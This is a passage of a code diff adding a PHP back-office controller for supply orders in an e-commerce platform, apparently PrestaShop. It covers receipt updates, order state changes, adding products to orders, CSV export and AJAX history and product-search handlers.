quantity_left, + IF (a.quantity_expected < a.quantity_received, 0, a.quantity_expected - a.quantity_received) as quantity_received_today'; + + $this->_where = 'AND a.`id_supply_order` = '.(int)$id_supply_order; + + $this->_group = 'GROUP BY a.id_supply_order_detail'; + + // gets the list ordered by price desc, without limit + $this->getList($lang_id, 'quantity_expected', 'DESC', 0, false, false); + + // defines action for POST + $action = '&id_supply_order='.$id_supply_order; + + // unsets some buttons + unset($this->toolbar_btn['export-csv-orders']); + unset($this->toolbar_btn['export-csv-details']); + unset($this->toolbar_btn['new']); + + // renders list + $helper = new HelperList(); + $this->setHelperDisplay($helper); + $helper->actions = array('details'); + $helper->override_folder = 'supply_orders_receipt_history/'; + $helper->toolbar_btn = $this->toolbar_btn; + + $helper->ajax_params = array( + 'display_product_history' => 1, + ); + + $helper->currentIndex = self::$currentIndex.$action; + + // display these global order informations + $this->displayInformation($this->l('This interface allows you to update the quantities of this ongoing order.').'<br />'); + $this->displayInformation($this->l('Be careful! Once you update, you cannot go back unless you add new negative stock movements.').'<br />'); + $this->displayInformation($this->l('A green line means that you\'ve received what you expected. A red line means that you\'ve received more than expected.').'<br />'); + + // generates content + $content = $helper->generateList($this->_list, $this->fields_list); + + // assigns var + $this->context->smarty->assign(array( + 'content' => $content, + )); + } + + /** + * AdminController::initContent() override + * @see AdminController::initContent() + */ + public function initContent() + { + if (!Configuration::get('PS_ADVANCED_STOCK_MANAGEMENT')) + { + $this->warnings[md5('PS_ADVANCED_STOCK_MANAGEMENT')] = $this->l('You need to activate advanced stock management prior to using this feature.'); + return false; + } + // Manage the add stock form + if (Tools::isSubmit('changestate')) + $this->initChangeStateContent(); + elseif (Tools::isSubmit('update_receipt') && Tools::isSubmit('id_supply_order')) + $this->initUpdateReceiptContent(); + elseif (Tools::isSubmit('viewsupply_order') && Tools::isSubmit('id_supply_order')) + { + $this->action = 'view'; + $this->display = 'view'; + parent::initContent(); + } + elseif (Tools::isSubmit('updatesupply_order')) + $this->initUpdateSupplyOrderContent(); + else + parent::initContent(); + } + + /** + * Ths method manage associated products to the order when updating it + */ + public function manageOrderProducts() + { + // load supply order + $id_supply_order = (int)Tools::getValue('id_supply_order', null); + $products_already_in_order = array(); + + if ($id_supply_order != null) + { + $supply_order = new SupplyOrder($id_supply_order); + + if (Validate::isLoadedObject($supply_order)) + { + // tests if the supplier or currency have changed in the supply order + $new_supplier_id = (int)Tools::getValue('id_supplier'); + $new_currency_id = (int)Tools::getValue('id_currency'); + + if (($new_supplier_id != $supply_order->id_supplier) || + ($new_currency_id != $supply_order->id_currency)) + { + // resets all products in this order + $supply_order->resetProducts(); + } + else + { + $products_already_in_order = $supply_order->getEntries(); + $currency = new Currency($supply_order->id_ref_currency); + + // gets all product ids to manage + $product_ids_str = Tools::getValue('product_ids', null); + $product_ids = explode('|', $product_ids_str); + $product_ids_to_delete_str = Tools::getValue('product_ids_to_delete', null); + $product_ids_to_delete = array_unique(explode('|', $product_ids_to_delete_str)); + + //delete products that are not managed anymore + foreach ($products_already_in_order as $paio) + { + $product_ok = false; + + foreach ($product_ids_to_delete as $id) + { + $id_check = $paio['id_product'].'_'.$paio['id_product_attribute']; + if ($id_check == $id) + $product_ok = true; + } + + if ($product_ok === true) + { + $entry = new SupplyOrderDetail($paio['id_supply_order_detail']); + $entry->delete(); + } + } + + // manage each product + foreach ($product_ids as $id) + { + $errors = array(); + + // check if a checksum is available for this product and test it + $check = Tools::getValue('input_check_'.$id, ''); + $check_valid = md5(_COOKIE_KEY_.$id); + + if ($check_valid != $check) + continue; + + $pos = strpos($id, '_'); + if ($pos === false) + continue; + + // Load / Create supply order detail + $entry = new SupplyOrderDetail(); + $id_supply_order_detail = (int)Tools::getValue('input_id_'.$id, 0); + if ($id_supply_order_detail > 0) + { + $existing_entry = new SupplyOrderDetail($id_supply_order_detail); + if (Validate::isLoadedObject($supply_order)) + $entry = &$existing_entry; + } + + // get product informations + $entry->id_product = substr($id, 0, $pos); + $entry->id_product_attribute = substr($id, $pos + 1); + $entry->unit_price_te = (float)str_replace(array(' ', ','), array('', '.'), Tools::getValue('input_unit_price_te_'.$id, 0)); + $entry->quantity_expected = (int)str_replace(array(' ', ','), array('', '.'), Tools::getValue('input_quantity_expected_'.$id, 0)); + $entry->discount_rate = (float)str_replace(array(' ', ','), array('', '.'), Tools::getValue('input_discount_rate_'.$id, 0)); + $entry->tax_rate = (float)str_replace(array(' ', ','), array('', '.'), Tools::getValue('input_tax_rate_'.$id, 0)); + $entry->reference = Tools::getValue('input_reference_'.$id, ''); + $entry->supplier_reference = Tools::getValue('input_supplier_reference_'.$id, ''); + $entry->ean13 = Tools::getValue('input_ean13_'.$id, ''); + $entry->upc = Tools::getValue('input_upc_'.$id, ''); + + //get the product name in the order language + $entry->name = Product::getProductName($entry->id_product, $entry->id_product_attribute, $supply_order->id_lang); + + if (empty($entry->name)) + $entry->name = ''; + + if ($entry->supplier_reference == null) + $entry->supplier_reference = ''; + + $entry->exchange_rate = $currency->conversion_rate; + $entry->id_currency = $currency->id; + $entry->id_supply_order = $supply_order->id; + + $errors = $entry->validateController(); + + //get the product name displayed in the backoffice according to the employee language + $entry->name_displayed = Tools::getValue('input_name_displayed_'.$id, ''); + + // if there is a problem, handle error for the current product + if (count($errors) > 0) + { + // add the product to error array => display again product line + $this->order_products_errors[] = array( + 'id_product' => $entry->id_product, + 'id_product_attribute' => $entry->id_product_attribute, + 'unit_price_te' => $entry->unit_price_te, + 'quantity_expected' => $entry->quantity_expected, + 'discount_rate' => $entry->discount_rate, + 'tax_rate' => $entry->tax_rate, + 'name' => $entry->name, + 'name_displayed' => $entry->name_displayed, + 'reference' => $entry->reference, + 'supplier_reference' => $entry->supplier_reference, + 'ean13' => $entry->ean13, + 'upc' => $entry->upc, + ); + + $error_str = '<ul>'; + foreach ($errors as $e) + $error_str .= '<li>'.$this->l('Field').$e.'</li>'; + $error_str .= '</ul>'; + + $this->errors[] = Tools::displayError($this->l('Please verify the product information:').$entry->name.' '.$error_str); + } + else + $entry->save(); + } + } + } + } + } + + /** + * AdminController::postProcess() override + * @see AdminController::postProcess() + */ + public function postProcess() + { + $this->is_editing_order = false; + + // Checks access + if (Tools::isSubmit('submitAddsupply_order') && !($this->tabAccess['add'] === '1')) + $this->errors[] = Tools::displayError($this->l('You do not have permission to add a supply order.')); + if (Tools::isSubmit('submitBulkUpdatesupply_order_detail') && !($this->tabAccess['edit'] === '1')) + $this->errors[] = Tools::displayError($this->l('You do not have permission to edit an order.')); + + // Trick to use both Supply Order as template and actual orders + if (Tools::isSubmit('is_template')) + $_GET['mod'] = 'template'; + + // checks if supply order reference is unique + if (Tools::isSubmit('reference')) + { + // gets the reference + $ref = pSQL(Tools::getValue('reference')); + + if (Tools::getValue('id_supply_order') != 0 && SupplyOrder::getReferenceById((int)Tools::getValue('id_supply_order')) != $ref) + { + if ((int)SupplyOrder::exists($ref) != 0) + $this->errors[] = Tools::displayError($this->l('The reference has to be unique.')); + } + else if (Tools::getValue('id_supply_order') == 0 && (int)SupplyOrder::exists($ref) != 0) + $this->errors[] = Tools::displayError($this->l('The reference has to be unique.')); + } + + if ($this->errors) + return; + + // Global checks when add / update a supply order + if (Tools::isSubmit('submitAddsupply_order') || Tools::isSubmit('submitAddsupply_orderAndStay')) + { + $this->action = 'save'; + $this->is_editing_order = true; + + // get supplier ID + $id_supplier = (int)Tools::getValue('id_supplier', 0); + if ($id_supplier <= 0 || !Supplier::supplierExists($id_supplier)) + $this->errors[] = Tools::displayError($this->l('The selected supplier is not valid.')); + + // get warehouse id + $id_warehouse = (int)Tools::getValue('id_warehouse', 0); + if ($id_warehouse <= 0 || !Warehouse::exists($id_warehouse)) + $this->errors[] = Tools::displayError($this->l('The selected warehouse is not valid.')); + + // get currency id + $id_currency = (int)Tools::getValue('id_currency', 0); + if ($id_currency <= 0 || ( !($result = Currency::getCurrency($id_currency)) || empty($result) )) + $this->errors[] = Tools::displayError($this->l('The selected currency is not valid.')); + // get delivery date + $delivery_expected = new DateTime(pSQL(Tools::getValue('date_delivery_expected'))); + // converts date to timestamp + if ($delivery_expected <= (new DateTime('yesterday'))) + $this->errors[] = Tools::displayError($this->l('The date you specified cannot be in the past.')); + + // gets threshold + $quantity_threshold = null; + if (Tools::getValue('load_products') && Validate::isInt(Tools::getValue('load_products'))) + $quantity_threshold = (int)Tools::getValue('load_products'); + + if (!count($this->errors)) + { + // forces date for templates + if (Tools::isSubmit('is_template') && !Tools::getValue('date_delivery_expected')) + $_POST['date_delivery_expected'] = date('Y-m-d h:i:s'); + + // specify initial state + $_POST['id_supply_order_state'] = 1; //defaut creation state + + // specify global reference currency + $_POST['id_ref_currency'] = Currency::getDefaultCurrency()->id; + + // specify supplier name + $_POST['supplier_name'] = Supplier::getNameById($id_supplier); + + //specific discount check + $_POST['discount_rate'] = (float)str_replace(array(' ', ','), array('', '.'), Tools::getValue('discount_rate', 0)); + + } + + // manage each associated product + $this->manageOrderProducts(); + + // if the threshold is defined and we are saving the order + if (Tools::isSubmit('submitAddsupply_order') && $quantity_threshold != null) + $this->loadProducts($quantity_threshold); + } + + // Manage state change + if (Tools::isSubmit('submitChangestate') + && Tools::isSubmit('id_supply_order') + && Tools::isSubmit('id_supply_order_state')) + { + if ($this->tabAccess['edit'] != '1') + $this->errors[] = Tools::displayError($this->l('You do not have permission to change the order status.')); + + // get state ID + $id_state = (int)Tools::getValue('id_supply_order_state', 0); + if ($id_state <= 0) + $this->errors[] = Tools::displayError($this->l('The selected supply order status is not valid.')); + + // get supply order ID + $id_supply_order = (int)Tools::getValue('id_supply_order', 0); + if ($id_supply_order <= 0) + $this->errors[] = Tools::displayError($this->l('The supply order ID is not valid.')); + + if (!count($this->errors)) + { + // try to load supply order + $supply_order = new SupplyOrder($id_supply_order); + + if (Validate::isLoadedObject($supply_order)) + { + // get valid available possible states for this order + $states = SupplyOrderState::getSupplyOrderStates($supply_order->id_supply_order_state); + + foreach ($states as $state) + { + // if state is valid, change it in the order + if ($id_state == $state['id_supply_order_state']) + { + + $new_state = new SupplyOrderState($id_state); + $old_state = new SupplyOrderState($supply_order->id_supply_order_state); + + // special case of validate state - check if there are products in the order and the required state is not an enclosed state + if ($supply_order->isEditable() && !$supply_order->hasEntries() && !$new_state->enclosed) + $this->errors[] = Tools::displayError( + $this->l('It is not possible to change the status of this order because you did not order any products.') + ); + + if (!count($this->errors)) + { + $supply_order->id_supply_order_state = $state['id_supply_order_state']; + if ($supply_order->save()) + { + // if pending_receipt, + // or if the order is being canceled, + // synchronizes StockAvailable + if (($new_state->pending_receipt && !$new_state->receipt_state) || + ($old_state->receipt_state && $new_state->enclosed && !$new_state->receipt_state)) + { + $supply_order_details = $supply_order->getEntries(); + $products_done = array(); + foreach ($supply_order_details as $supply_order_detail) + { + if (!in_array($supply_order_detail['id_product'], $products_done)) + { + StockAvailable::synchronize($supply_order_detail['id_product']); + $products_done[] = $supply_order_detail['id_product']; + } + } + } + + $token = Tools::getValue('token') ? Tools::getValue('token') : $this->token; + $redirect = self::$currentIndex.'&token='.$token; + $this->redirect_after = $redirect.'&conf=5'; + } + } + } + } + } + else + $this->errors[] = Tools::displayError($this->l('The selected supplier is not valid.')); + } + } + + // updates receipt + if (Tools::isSubmit('submitFiltersupply_order_detail') && Tools::isSubmit('submitBulkUpdatesupply_order_detail') && Tools::isSubmit('id_supply_order')) + $this->postProcessUpdateReceipt(); + + // use template to create a supply order + if (Tools::isSubmit('create_supply_order') && Tools::isSubmit('id_supply_order')) + $this->postProcessCopyFromTemplate(); + + if ((!count($this->errors) && $this->is_editing_order) || !$this->is_editing_order) + parent::postProcess(); + } + + /** + * Exports CSV + */ + protected function renderCSV() + { + // exports orders + if (Tools::isSubmit('csv_orders')) + { + $ids = array(); + foreach ($this->_list as $entry) + $ids[] = $entry['id_supply_order']; + + if (count($ids) <= 0) + return; + + $id_lang = Context::getContext()->language->id; + $orders = new Collection('SupplyOrder', $id_lang); + $orders->where('is_template', '=', false); + $orders->where('id_supply_order', 'in', $ids); + $id_warehouse = $this->getCurrentWarehouse(); + if ($id_warehouse != -1) + $orders->where('id_warehouse', '=', $id_warehouse); + $orders->getAll(); + $csv = new CSV($orders, $this->l('supply_orders')); + $csv->export(); + } + // exports details for all orders + else if (Tools::isSubmit('csv_orders_details')) + { + // header + header('Content-type: text/csv'); + header('Content-Type: application/force-download; charset=UTF-8'); + header('Cache-Control: no-store, no-cache'); + header('Content-disposition: attachment; filename="'.$this->l('supply_orders_details').'.csv"'); + + // echoes details + $ids = array(); + foreach ($this->_list as $entry) + $ids[] = $entry['id_supply_order']; + + if (count($ids) <= 0) + return; + + // for each supply order + $keys = array('id_product', 'id_product_attribute', 'reference', 'supplier_reference', 'ean13', 'upc', 'name', + 'unit_price_te', 'quantity_expected', 'quantity_received', 'price_te', 'discount_rate', 'discount_value_te', + 'price_with_discount_te', 'tax_rate', 'tax_value', 'price_ti', 'tax_value_with_order_discount', + 'price_with_order_discount_te', 'id_supply_order'); + echo sprintf("%s\n", implode(';', array_map(array('CSVCore', 'wrap'), $keys))); + + // overrides keys (in order to add FORMAT calls) + $keys = array('sod.id_product', 'sod.id_product_attribute', 'sod.reference', 'sod.supplier_reference', 'sod.ean13', + 'sod.upc', 'sod.name', + 'FORMAT(sod.unit_price_te, 2)', 'sod.quantity_expected', 'sod.quantity_received', 'FORMAT(sod.price_te, 2)', + 'FORMAT(sod.discount_rate, 2)', 'FORMAT(sod.discount_value_te, 2)', + 'FORMAT(sod.price_with_discount_te, 2)', 'FORMAT(sod.tax_rate, 2)', 'FORMAT(sod.tax_value, 2)', + 'FORMAT(sod.price_ti, 2)', 'FORMAT(sod.tax_value_with_order_discount, 2)', + 'FORMAT(sod.price_with_order_discount_te, 2)', 'sod.id_supply_order'); + foreach ($ids as $id) + { + $query = new DbQuery(); + $query->select(implode(', ', $keys)); + $query->from('supply_order_detail', 'sod'); + $query->leftJoin('supply_order', 'so', 'so.id_supply_order = sod.id_supply_order'); + $id_warehouse = $this->getCurrentWarehouse(); + if ($id_warehouse != -1) + $query->where('so.id_warehouse = '.(int)$id_warehouse); + $query->where('sod.id_supply_order = '.(int)$id); + $query->orderBy('sod.id_supply_order_detail DESC'); + $resource = Db::getInstance()->query($query); + // gets details + while ($row = Db::getInstance()->nextRow($resource)) + echo sprintf("%s\n", implode(';', array_map(array('CSVCore', 'wrap'), $row))); + } + + } + // exports details for the given order + else if (Tools::isSubmit('csv_order_details') && Tools::getValue('id_supply_order')) + { + $supply_order = new SupplyOrder((int)Tools::getValue('id_supply_order')); + if (Validate::isLoadedObject($supply_order)) + { + $details = $supply_order->getEntriesCollection(); + $details->getAll(); + $csv = new CSV($details, $this->l('supply_order').'_'.$supply_order->reference.'_details'); + $csv->export(); + } + } + } + + /** + * Helper function for AdminSupplyOrdersController::postProcess() + * + * @see AdminSupplyOrdersController::postProcess() + */ + protected function postProcessUpdateReceipt() + { + // gets all box selected + $rows = Tools::getValue('supply_order_detailBox'); + if (!$rows) + { + $this->errors[] = Tools::displayError($this->l('You did not select any products to update.')); + return; + } + + // final array with id_supply_order_detail and value to update + $to_update = array(); + // gets quantity for each id_order_detail + foreach ($rows as $row) + { + if (Tools::getValue('quantity_received_today_'.$row)) + $to_update[$row] = (int)Tools::getValue('quantity_received_today_'.$row); + } + + // checks if there is something to update + if (!count($to_update)) + { + $this->errors[] = Tools::displayError($this->l('You did not select any products to update.')); + return; + } + + foreach ($to_update as $id_supply_order_detail => $quantity) + { + $supply_order_detail = new SupplyOrderDetail($id_supply_order_detail); + $supply_order = new SupplyOrder((int)Tools::getValue('id_supply_order')); + + if (Validate::isLoadedObject($supply_order_detail) && Validate::isLoadedObject($supply_order)) + { + // checks if quantity is valid + // It's possible to receive more quantity than expected in case of a shipping error from the supplier + if (!Validate::isInt($quantity) || $quantity <= 0) + $this->errors[] = sprintf(Tools::displayError($this->l('Quantity (%d) for product #%d is not valid')), (int)$quantity, (int)$id_supply_order_detail); + else // everything is valid : updates + { + // creates the history + $supplier_receipt_history = new SupplyOrderReceiptHistory(); + $supplier_receipt_history->id_supply_order_detail = (int)$id_supply_order_detail; + $supplier_receipt_history->id_employee = (int)$this->context->employee->id; + $supplier_receipt_history->employee_firstname = pSQL($this->context->employee->firstname); + $supplier_receipt_history->employee_lastname = pSQL($this->context->employee->lastname); + $supplier_receipt_history->id_supply_order_state = (int)$supply_order->id_supply_order_state; + $supplier_receipt_history->quantity = (int)$quantity; + + // updates quantity received + $supply_order_detail->quantity_received += (int)$quantity; + + // if current state is "Pending receipt", then we sets it to "Order received in part" + if (3 == $supply_order->id_supply_order_state) + $supply_order->id_supply_order_state = 4; + + // Adds to stock + $warehouse = new Warehouse($supply_order->id_warehouse); + if (!Validate::isLoadedObject($warehouse)) + { + $this->errors[] = Tools::displayError($this->l('The warehouse could not be loaded.')); + return; + } + + $price = $supply_order_detail->unit_price_te; + // converts the unit price to the warehouse currency if needed + if ($supply_order->id_currency != $warehouse->id_currency) + { + // first, converts the price to the default currency + $price_converted_to_default_currency = Tools::convertPrice($supply_order_detail->unit_price_te, $supply_order->id_currency, false); + + // then, converts the newly calculated price from the default currency to the needed currency + $price = Tools::ps_round(Tools::convertPrice($price_converted_to_default_currency, + $warehouse->id_currency, + true), + 6); + } + + $manager = StockManagerFactory::getManager(); + $res = $manager->addProduct($supply_order_detail->id_product, + $supply_order_detail->id_product_attribute, + $warehouse, + (int)$quantity, + Configuration::get('PS_STOCK_MVT_SUPPLY_ORDER'), + $price, + true, + $supply_order->id); + if ($res) // if product has been added + { + $supplier_receipt_history->add(); + $supply_order_detail->save(); + $supply_order->save(); + } + else + $this->errors[] = Tools::displayError($this->l('Something went wrong when adding products to the warehouse.')); + } + } + } + + if (!count($this->errors)) + { + // display confirm message + $token = Tools::getValue('token') ? Tools::getValue('token') : $this->token; + $redirect = self::$currentIndex.'&token='.$token; + $this->redirect_after = $redirect.'&conf=4'; + } + } + + /** + * Display state action link + * @param string $token the token to add to the link + * @param int $id the identifier to add to the link + * @return string + */ + public function displayUpdateReceiptLink($token = null, $id) + { + if (!array_key_exists('Receipt', self::$cache_lang)) + self::$cache_lang['Receipt'] = $this->l('Update ongoing receipt of products.'); + + $this->context->smarty->assign(array( + 'href' => self::$currentIndex. + '&'.$this->identifier.'='.$id. + '&update_receipt&token='.($token != null ? $token : $this->token), + 'action' => self::$cache_lang['Receipt'], + )); + + return $this->context->smarty->fetch('helpers/list/list_action_supply_order_receipt.tpl'); + } + + /** + * Display receipt action link + * @param string $token the token to add to the link + * @param int $id the identifier to add to the link + * @return string + */ + public function displayChangestateLink($token = null, $id) + { + if (!array_key_exists('State', self::$cache_lang)) + self::$cache_lang['State'] = $this->l('Change state'); + + $this->context->smarty->assign(array( + 'href' => self::$currentIndex. + '&'.$this->identifier.'='.$id. + '&changestate&token='.($token != null ? $token : $this->token), + 'action' => self::$cache_lang['State'], + )); + + return $this->context->smarty->fetch('helpers/list/list_action_supply_order_change_state.tpl'); + } + + /** + * Display state action link + * @param string $token the token to add to the link + * @param int $id the identifier to add to the link + * @return string + */ + public function displayCreateSupplyOrderLink($token = null, $id) + { + if (!array_key_exists('CreateSupplyOrder', self::$cache_lang)) + self::$cache_lang['CreateSupplyOrder'] = $this->l('Use this template to create a supply order.'); + + if (!array_key_exists('CreateSupplyOrderConfirm', self::$cache_lang)) + self::$cache_lang['CreateSupplyOrderConfirm'] = $this->l('Are you sure you want to use this template?'); + + $this->context->smarty->assign(array( + 'href' => self::$currentIndex. + '&'.$this->identifier.'='.$id. + '&create_supply_order&token='.($token != null ? $token : $this->token), + 'confirm' => self::$cache_lang['CreateSupplyOrderConfirm'], + 'action' => self::$cache_lang['CreateSupplyOrder'], + )); + + return $this->context->smarty->fetch('helpers/list/list_action_supply_order_create_from_template.tpl'); + } + + /** + * method call when ajax request is made with the details row action + * @see AdminController::postProcess() + */ + public function ajaxProcess() + { + // tests if an id is submit + if (Tools::isSubmit('id') && !Tools::isSubmit('display_product_history')) + { + // overrides attributes + $this->identifier = 'id_supply_order_history'; + $this->table = 'supply_order_history'; + + $this->display = 'list'; + $this->lang = false; + // gets current lang id + $lang_id = (int)$this->context->language->id; + // gets supply order id + $id_supply_order = (int)Tools::getValue('id'); + + // creates new fields_list + unset($this->fields_list); + $this->fields_list = array( + 'history_date' => array( + 'title' => $this->l('Last update'), + 'width' => 50, + 'align' => 'left', + 'type' => 'datetime', + 'havingFilter' => true + ), + 'history_employee' => array( + 'title' => $this->l('Employee'), + 'width' => 100, + 'align' => 'left', + 'havingFilter' => true + ), + 'history_state_name' => array( + 'title' => $this->l('Status'), + 'width' => 100, + 'align' => 'left', + 'color' => 'color', + 'havingFilter' => true + ), + ); + // loads history of the given order + unset($this->_select, $this->_join, $this->_where, $this->_orderBy, $this->_orderWay, $this->_group, $this->_filterHaving, $this->_filter); + $this->_select = ' + a.`date_add` as history_date, + CONCAT(a.`employee_lastname`, \' \', a.`employee_firstname`) as history_employee, + sosl.`name` as history_state_name, + sos.`color` as color'; + + $this->_join = ' + LEFT JOIN `'._DB_PREFIX_.'supply_order_state` sos ON (a.`id_state` = sos.`id_supply_order_state`) + LEFT JOIN `'._DB_PREFIX_.'supply_order_state_lang` sosl ON + ( + a.`id_state` = sosl.`id_supply_order_state` + AND sosl.`id_lang` = '.(int)$lang_id.' + )'; + + $this->_where = 'AND a.`id_supply_order` = '.(int)$id_supply_order; + $this->_orderBy = 'a.`date_add`'; + $this->_orderWay = 'DESC'; + + // gets list and forces no limit clause in the request + $this->getList($lang_id, 'date_add', 'DESC', 0, false, false); + + // renders list + $helper = new HelperList(); + $helper->no_link = true; + $helper->show_toolbar = false; + $helper->toolbar_scroll = false; + $helper->shopLinkType = ''; + $helper->identifier = $this->identifier; + //$helper->colorOnBackground = true; + $helper->simple_header = true; + $content = $helper->generateList($this->_list, $this->fields_list); + + echo Tools::jsonEncode(array('use_parent_structure' => false, 'data' => $content)); + } + else if (Tools::isSubmit('id') && Tools::isSubmit('display_product_history')) + { + $this->identifier = 'id_supply_order_receipt_history'; + $this->table = 'supply_order_receipt_history'; + $this->display = 'list'; + $this->lang = false; + $lang_id = (int)$this->context->language->id; + $id_supply_order_detail = (int)Tools::getValue('id'); + + unset($this->fields_list); + $this->fields_list = array( + 'date_add' => array( + 'title' => $this->l('Last update'), + 'width' => 50, + 'align' => 'left', + 'type' => 'datetime', + 'havingFilter' => true + ), + 'employee' => array( + 'title' => $this->l('Employee'), + 'width' => 100, + 'align' => 'left', + 'havingFilter' => true + ), + 'quantity' => array( + 'title' => $this->l('Quantity received'), + 'width' => 100, + 'align' => 'left', + 'havingFilter' => true + ), + ); + + // loads history of the given order + unset($this->_select, $this->_join, $this->_where, $this->_orderBy, $this->_orderWay, $this->_group, $this->_filterHaving, $this->_filter); + $this->_select = 'CONCAT(a.`employee_lastname`, \' \', a.`employee_firstname`) as employee'; + $this->_where = 'AND a.`id_supply_order_detail` = '.(int)$id_supply_order_detail; + + // gets list and forces no limit clause in the request + $this->getList($lang_id, 'date_add', 'DESC', 0, false, false); + + // renders list + $helper = new HelperList(); + $helper->no_link = true; + $helper->show_toolbar = false; + $helper->toolbar_scroll = false; + $helper->shopLinkType = ''; + $helper->identifier = $this->identifier; + $helper->colorOnBackground = true; + $helper->simple_header = true; + $content = $helper->generateList($this->_list, $this->fields_list); + + echo Tools::jsonEncode(array('use_parent_structure' => false, 'data' => $content)); + } + + die; + } + + /** + * method call when ajax request is made for search product to add to the order + * @TODO - Update this method to retreive the reference, ean13, upc corresponding to a product attribute + */ + public function ajaxProcessSearchProduct() + { + // Get the search pattern + $pattern = pSQL(Tools::getValue('q', false)); + + if (!$pattern || $pattern == '' || strlen($pattern) < 1) + die(); + + // get supplier id + $id_supplier = (int)Tools::getValue('id_supplier', false); + + // gets the currency + $id_currency = (int)Tools::getValue('id_currency', false); + + // get lang from context + $id_lang = (int)Context::getContext()->language->id; + + $query = new DbQuery(); + $query->select(' + CONCAT(p.id_product, \'_\', IFNULL(pa.id_product_attribute, \'0\')) as id, + ps.product_supplier_reference as supplier_reference, + IFNULL(pa.reference, IFNULL(p.reference, \'\')) as reference, + IFNULL(pa.ean13, IFNULL(p.ean13, \'\')) as ean13, + IFNULL(pa.upc, IFNULL(p.upc, \'\')) as upc, + md5(CONCAT(\''._COOKIE_KEY_.'\', p.id_product, \'_\', IFNULL(pa.id_product_attribute, \'0\'))) as checksum, + IFNULL(CONCAT(pl.name, \' : \', GROUP_CONCAT(DISTINCT agl.name, \' - \', al.name SEPARATOR \', \')), pl.name) as name + '); + + $query->from('product', 'p'); + + $query->innerJoin('product_lang', 'pl', 'pl.id_product = p.id_product AND pl.id_lang = '.$id_lang); + $query->leftJoin('product_attribute', 'pa', 'pa.id_product = p.id_product'); + $query->leftJoin('product_attribute_combination', 'pac', 'pac.id_product_attribute = pa.id_product_attribute'); + $query->leftJoin('attribute', 'atr', 'atr.id_attribute = pac.id_attribute'); + $query->leftJoin('attribute_lang', 'al', 'al.id_attribute = atr.id_attribute AND al.id_lang = '.$id_lang); + $query->leftJoin('attribute_group_lang', 'agl', 'agl.id_attribute_group = atr.id_attribute_group AND agl.id_lang = '.$id_lang); + $query->leftJoin('product_supplier', 'ps', 'ps.id_product = p.id_product AND ps.id_product_attribute = IFNULL(pa.id_product_attribute, 0)'); + + $query->where('(pl.name LIKE \'%'.$pattern.'%\' OR p.reference LIKE \'%'.$pattern.'%\' OR ps.product_supplier_reference LIKE \'%'.$pattern.'%\')'); + $query->where('p.id_product NOT IN (SELECT pd.id_product FROM `'._DB_PREFIX_.'product_download` pd WHERE (pd.id_product = p.id_product))'); + $query->where('p.is_virtual = 0 AND p.cache_is_pack = 0'); + + if ($id_supplier) + $query->where('ps.id_supplier = '.$id_supplier.' OR p.id_supplier = '.$id_supplier); + + $query->groupBy('p.id_product, pa.id_product_attribute'); + + $items = Db::getInstance(_PS_USE_SQL_SLAVE_)->executeS($query); + + foreach ($items as &$item) + { + $ids = explode('_', $item['id']); + $prices = ProductSupplier::getProductSupplierPrice($ids[0], $ids[1], $id_supplier, true); + if (count($prices)) + $item['unit_price_te'] = Tools::convertPriceFull($prices['product_supplier_price_te'], + new Currency((int)$prices['id_currency']), + new Currency($id_currency)); + } + if ($items) + die(Tools::jsonEncode($items)); + + die(1); + } + + /** + * @see AdminController::renderView() + */ + public function renderView() + { + $this->show_toolbar = true; + $this->toolbar_scroll = false; + $this->table = 'supply_order_detail'; + $this->identifier = 'id_supply_order_detail'; + $this->className = 'SupplyOrderDetail'; + $this->colorOnBackground = false; + $this->lang = false; + $this->list_simple_header = true; + $this->list_no_link = true; + + // gets the id supplier to view + $id_supply_order = (int)Tools::getValue('id_supply_order'); + + // gets global order information + $supply_order = new SupplyOrder((int)$id_supply_order); + + if (Validate::isLoadedObject($supply_order)) + { + if (!$supply_order->is_template) + $this->displayInformation($this->l('This interface allows you to display detailed information about your order.').'<br />'); + else + $this->displayInformation($this->l('This interface allows you to display detailed information about your order template.').'<br />'); + + $lang_id = (int)$supply_order->id_lang; + + // just in case.. + unset($this->_select, $this->_join, $this->_where, $this->_orderBy, $this->_orderWay, $this->_group, $this->_filterHaving, $this->_filter); + + // gets all information on the products ordered + $this->_where = 'AND a.`id_supply_order` = '.(int)$id_supply_order; + + // gets the list ordered by price desc, without limit + $this->getList($lang_id, 'price_te', 'DESC', 0, false, false); + + // gets the currency used in this order + $currency = new Currency($supply_order->id_currency); + + // gets the warehouse where products will be received + $warehouse = new Warehouse($supply_order->id_warehouse); + + // sets toolbar title with order reference + if (!$supply_order->is_template) + $this->toolbar_title = sprintf($this->l('Details on supply order #%s'), $supply_order->reference); + else + $this->toolbar_title = sprintf($this->l('Details on supply order template #%s'), $supply_order->reference); + // re-defines fields_list + $this->fields_list = array( + 'supplier_reference' => array( + 'title' => $this->l('Supplier Reference'), + 'align' => 'center', + 'width' => 120, + 'orderby' => false, + 'filter' => false, + 'search' => false, + ), + 'reference' => array( + 'title' => $this->l('Reference'), + 'align' => 'center', + 'width' => 120, + 'orderby' => false, + 'filter' => false, + 'search' => false, + ), + 'ean13' => array( + 'title' => $this->l('EAN13'), + 'align' => 'center', + 'width' => 100, + 'orderby' => false, + 'filter' => false, + 'search' => false, + ), + 'upc' => array( + 'title' => $this->l('UPC'), + 'align' => 'center', + 'width' => 100, + 'orderby' => false, + 'filter' => false, + 'search' => false, + ), + 'name' => array( + 'title' => $this->l('Name'), + 'orderby' => false, + 'filter' => false, + 'search' => false, + ), + 'unit_price_te' => array( + 'title' => $this->l('Unit price (tax excl.)'), + 'align' => 'right', + 'width' => 80, + 'orderby' => false, + 'filter' => false, + 'search' => false, + 'type' => 'price', + 'currency' => true, + ), + 'quantity_expected' => array( + 'title' => $this->l('Quantity'), + 'align' => 'right', + 'width' => 80, + 'orderby' => false, + 'filter' => false, + 'search' => false, + ), + 'price_te' => array( + 'title' => $this->l('Price (tax excl.)'), + 'align' => 'right', + 'width' => 80, + 'orderby' => false, + 'filter' => false, + 'search' => false, + 'type' => 'price', + 'currency' => true, + ), + 'discount_rate' => array( + 'title' => $this->l('Discount rate'), + 'align' => 'right', + 'width' => 80, + 'orderby' => false, + 'filter' => false, + 'search' => false, + 'suffix' => '%', + ), + 'discount_value_te' => array( + 'title' => $this->l('Discount value (tax excl.)'), + 'align' => 'right', + 'width' => 80, + 'orderby' => false, + 'filter' => false, + 'search' => false, + 'type' => 'price', + 'currency' => true, + ), + 'price_with_discount_te' => array( + 'title' => $this->l('Price with product discount (tax excl.)'), + 'align' => 'right', + 'width' => 80, + 'orderby' => false, + 'filter' => false, + 'search' => false, + 'type' => 'price', + 'currency' => true, + ), + 